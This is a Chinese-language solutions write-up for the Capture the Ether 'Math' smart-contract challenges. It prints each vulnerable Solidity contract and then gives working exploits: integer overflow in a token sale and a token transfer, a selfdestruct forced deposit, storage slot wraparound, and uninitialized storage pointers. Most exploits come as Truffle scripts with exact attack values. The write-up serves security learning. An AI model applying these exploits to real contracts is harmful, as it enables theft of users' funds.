Capturetheether 题解(Math)

Token sale

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.4.21;

contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;

function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}

function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);

balanceOf[msg.sender] += numTokens;
}

function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);

balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}

通关条件

使得合约中剩余 ETH 数量小于 1

题目分析

既然要求的是无中生有,那就先从溢出的角度看。代码中的 1 ether 具有一定的迷惑性,如果将 1 ether 视为 1,则代码没问题。但是合约中 ETH 的数量单位其实是 wei,1 ether = 10**18 wei,这么看来 buy 函数中的 numTokens * PRICE_PER_TOKEN 就很有问题了。我们只需要选择一个数让 numTokens * PRICE_PER_TOKEN 溢出,就能够获得超量代币。
uint256 为 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff,也就是:

a = 115792089237316195423570985008687907853269984665640564039457584007913129639935

我们需要他在乘以 10**18 后溢出,简单的处理就是将其最后 18 位截去,再将最后一位加上 1,得到 numTokens:

b = 115792089237316195423570985008687907853269984665640564039458

相应的 msg.value 就是:

b - a - 1 = 415992086870360064

调用 buy 函数后我们就获得了天量代币,卖出 1 个,就能够获得 1 ETH,成功将合约 ETH 余额降低到 1 以下。

调用代码如下:

1
2
3
4
5
6
7
8
9
10
contract("TokenSale", function (accounts) {
it("should assert true", async function () {
let player = accounts[0]
let challenge = await TokenSale.new(player, {value: web3.utils.toWei('1', 'ether')})
let num = new web3.utils.BN('115792089237316195423570985008687907853269984665640564039458')
await challenge.buy(num, {from: player, value: '415992086870360064'})
await challenge.sell(1)
assert(await challenge.isComplete() === true)
});
});

Token whale

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
address player;

uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;

string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;

function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}

function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}

event Transfer(address indexed from, address indexed to, uint256 value);

function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;

emit Transfer(msg.sender, to, value);
}

function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);

_transfer(to, value);
}

event Approval(address indexed owner, address indexed spender, uint256 value);

function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}

function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);

allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}

通关条件

获得超过 1000000 个 token

题目分析

还是从溢出的角度看。注意到 transferFrom 调用了 _transfer,而 _transfer 扣除的是 msg.sender 的余额,这可能导致溢出。原因在于,在调用 transferFrom 的时候,msg.sender 很可能只是一个没有持币的代理地址,也就是说 msg.sender 的余额可能为 0,此时被扣除一个正数就会发生溢出。

调用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
contract("TokenWhale", function (accounts) {
it("should assert true", async function () {
let player1 = accounts[0]
let player2 = accounts[1]
let recipient = accounts[2]
let challenge = await TokenWhale.new(player1)
await challenge.approve(player2, 1000, {from: player1})
await challenge.transferFrom(player1, recipient, 1, {from: player2})
await challenge.transfer(player1, 1000000000, {from: player2})
assert(challenge.isComplete() === true)
});
});

Retirement fund

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.4.21;

contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;

function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);

beneficiary = player;
startBalance = msg.value;
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function withdraw() public {
require(msg.sender == owner);

if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}

function collectPenalty() public {
require(msg.sender == beneficiary);

uint256 withdrawn = startBalance - address(this).balance;

// an early withdrawal occurred
require(withdrawn > 0);

// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}

通关条件

取走合约中的所有 ETH

题目分析

注意到作为 beneficiary 从合约中取款的必要条件是 startBalance - address(this).balance > 0 ,startBalance 和合约目前的 balance 都是 1 ETH。我们只需要让合约的 balance 大于 1 ETH,startBalance - address(this).balance 就会溢出从而使得条件满足。虽然合约中并没有充值函数,也没有 payable fallback 函数,但是我们可以使用 selfdestruct 强制向合约中转入 ETH。所以解题步骤就是:

  1. 部署攻击合约并向合约中充入一点 ETH
  2. 攻击合约自毁,自毁后将 ETH 转入目标合约
  3. 调用目标合约的 collectPenalty 函数

Mapping

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity ^0.4.21;

contract MappingChallenge {
bool public isComplete;
uint256[] map;

function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}

map[key] = value;
}

function get(uint256 key) public view returns (uint256) {
return map[key];
}
}

通关条件

把目标合约的 isComplete 改成 true

题目分析

需要我们利用 slot 溢出来修改 Storage 中的数据。阅读代码可知,isComplete 存储于 slot 0 中,map 定义在 slot 1 中,所以 map 中的元素从 slot keccak256(1)(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6)开始存储。Storage 中一共有 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 个 slot,所以如果 map 中的元素超过 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - keccak256(1) 就会发生 slot 溢出。我们需要将 slot 0 设置为 1,所以调用 set 函数,参数 key 为 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - keccak256(1) + 1,value 为 1 即可。

操作代码如下:

1
2
3
4
5
6
7
8
contract("Mapping", function (/* accounts */) {
it("should assert true", async function () {
let challenge = await Mapping.new()
let gap = new web3.utils.BN('35707666377435648211887908874984608119992236509074197713628505308453184860938')
await challenge.set(gap, '1')
assert(await challenge.isComplete() === true)
});
});

Donation

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.4.21;

contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;

address public owner;

function DonationChallenge() public payable {
require(msg.value == 1 ether);

owner = msg.sender;
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);

Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;

donations.push(donation);
}

function withdraw() public {
require(msg.sender == owner);

msg.sender.transfer(address(this).balance);
}
}

通关条件

将合约中的 ETH 全部取走

题目分析

单纯看代码的话:

  1. donate 函数中的 scale 计算逻辑是错误的,合约收取的 ETH 数量将是其记录的金额的 1 / 10**36。
  2. Donation donation 实际上声明了一个未定义指向目标的 Storage pointer,其默认指向位置为 slot 0。这种写法在 solidity 0.5.0 之后将会抛出 error。具体可以参考这篇文章Solidity 的文档

这个合约的 slot 0 存放的是 donations 的长度,slot 1 存放的是 owner。在 donations.push(donation) 执行后,donation.timestamp+1 会覆盖 slot 0 的数据(要 +1 是因为 push 会增加 donations 的长度,所以会让 slot 0 的数据 +1),etherAmount 会覆盖 slot 1 的数据。所以解法就比较明显了–通过 etherAmount 来修改存放在 slot 1 中的 owner。具体来说就是,将自己的地址转换为 uint256 作为 etherAmount,将 etherAmount / 10**36 作为 msg.value 调用 donate 方法即可成为 owner,之后直接调用 withdraw 提现就可通关。

Fifty years

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pragma solidity ^0.4.21;

contract FiftyYearsChallenge {
struct Contribution {
uint256 amount;
uint256 unlockTimestamp;
}
Contribution[] queue;
uint256 head;

address owner;
function FiftyYearsChallenge(address player) public payable {
require(msg.value == 1 ether);

owner = player;
queue.push(Contribution(msg.value, now + 50 years));
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function upsert(uint256 index, uint256 timestamp) public payable {
require(msg.sender == owner);

if (index >= head && index < queue.length) {
// Update existing contribution amount without updating timestamp.
Contribution storage contribution = queue[index];
contribution.amount += msg.value;
} else {
// Append a new contribution. Require that each contribution unlock
// at least 1 day after the previous one.
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);

contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}

function withdraw(uint256 index) public {
require(msg.sender == owner);
require(now >= queue[index].unlockTimestamp);

// Withdraw this and any earlier contributions.
uint256 total = 0;
for (uint256 i = head; i <= index; i++) {
total += queue[i].amount;

// Reclaim storage.
delete queue[i];
}

// Move the head of the queue forward so we don't have to loop over
// already-withdrawn contributions.
head = index + 1;

msg.sender.transfer(total);
}
}

通关条件

将合约中的 ETH 全部取走

题目分析

蛮复杂的题。这个合约在 solidity 0.5.0 及以上版本中是编译不过的。非常明显的,upsert 函数中 else 代码块的 contribution 根本就没有声明……(佩服在 0.5.0 之前写 solidity 的大佬们)这个 contribution 同样是个未初始化的 Storage pointer,指向 slot 0。

观察合约,注意以下事实:

  1. queue.length 存放于 slot 0
  2. head 存放于 slot 1
  3. else 代码块中的 contribution 会用 amount 覆盖 slot 0,修改 queue.length;会用 timestamp 覆盖 slot 1,修改 head。
  4. else 代码块中的 contribution 会被 push 到 queue 中去
  5. else 代码块中的 require 语句存在不安全的加法运算,timestamp + 1 days(即 24 * 60 * 60)有溢出的可能

我们需要做的事有:

  1. 构造特定的 contribution,其 unlockTimestamp 足够小,使得我们能通过 withdraw 函数的校验
  2. 令 head 为 0,使得调用 withdraw 函数时可以将所有 contribution 资金都取出
  3. 需要注意的是,contribution.timestamp 会覆盖 head,将 1 和 2 结合起来,我们的目的就是插入 timestamp 为 0 的 contribution

初始化合约之后, queue.length 为 1, head 为 0,queue[0] 的 amount 为 1 ether,queue[0] 的 unlockTimestamp 为 now + 50 years,合约 ETH 余额为 1 ether。

既然我们需要构建出一个 unlockTimestamp 为 0 的 contribution,在 upsert 函数中就显然不能走 if 代码块,而应该走 else 代码块。这就要求我们设法通过 else 代码块的 require 检验。结合上面的事实 5,考虑构建 contribution1,其 unlockTimestamp + 1 day 会溢出为 0。所以第一个调用为:

1
2
// index 在 else 代码块中用不到,可以随意设置
contract.upsert(10, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 24 * 60 * 60 + 1)

还需要注意到,contribution 插入后,queue.length 应该为 2。我们的操作会导致存放 queue.length 的 slot 0 被覆盖,所以我们需要选择合适的 msg.value 使得 queue.length 为正确数值。我们转入的 msg.value 为 1 wei,由于执行 queue.push 的时候 slot 0 的数值会被加上 1,所以 slot 0 会变为 1 + 1 = 2,也就是说 queue.length 仍为 2。 但是这是又会发生一个问题:queue.push 之后,slot 0 和 slot 1 的数值作为 contribution 的 amount 和 timestamp 被复制到 queue[1] 中去了,所以 queue[1].amount 为 2 wei,比我们实际存入的要多了 1 wei。

接下来我们再次调用 upsert 构建 contribution2:

1
2
// timestamp 设置为 0,等于 contribution1.unlockTimestamp + 1 days,可以通过 require 检查
contract.upsert(10, 0)

这样我们就得到了一个 timestamp 为 0 的 contribution(也就是说 head 为 0),此时已经可以通过 withdraw 来取款了。现在考虑 msg.value。如果我们转入 2 wei,则 queue.length 为正确数值 3,queue[2].amount 为 3 wei。我们总共转入 1 ether + 3 wei,而 queue 中三个 contribution 的 amount 分别为:

  1. queue[0].amount == 1 ether
  2. queue[1].amount == 2 wei
  3. queue[2].amount == 3 wei

这样我们是无法将资金取干净的。

但是如果我们转入 1 wei 的话,存入总金额为 1 ether + 2 wei,contribution 的情况如下:

  1. queue[0].amount == 1 ether
  2. queue[1].amount == 2 wei
  3. queue[2].amount == 2 wei(queue.length 为 2,所以无法正常访问到)

此时我们只需要调用 contract.withdraw(1) 就可以取出合约内所有资金!这样操作的意义等同于我们将第二次的 1 wei 用来填补上次合约多增加的 1 wei。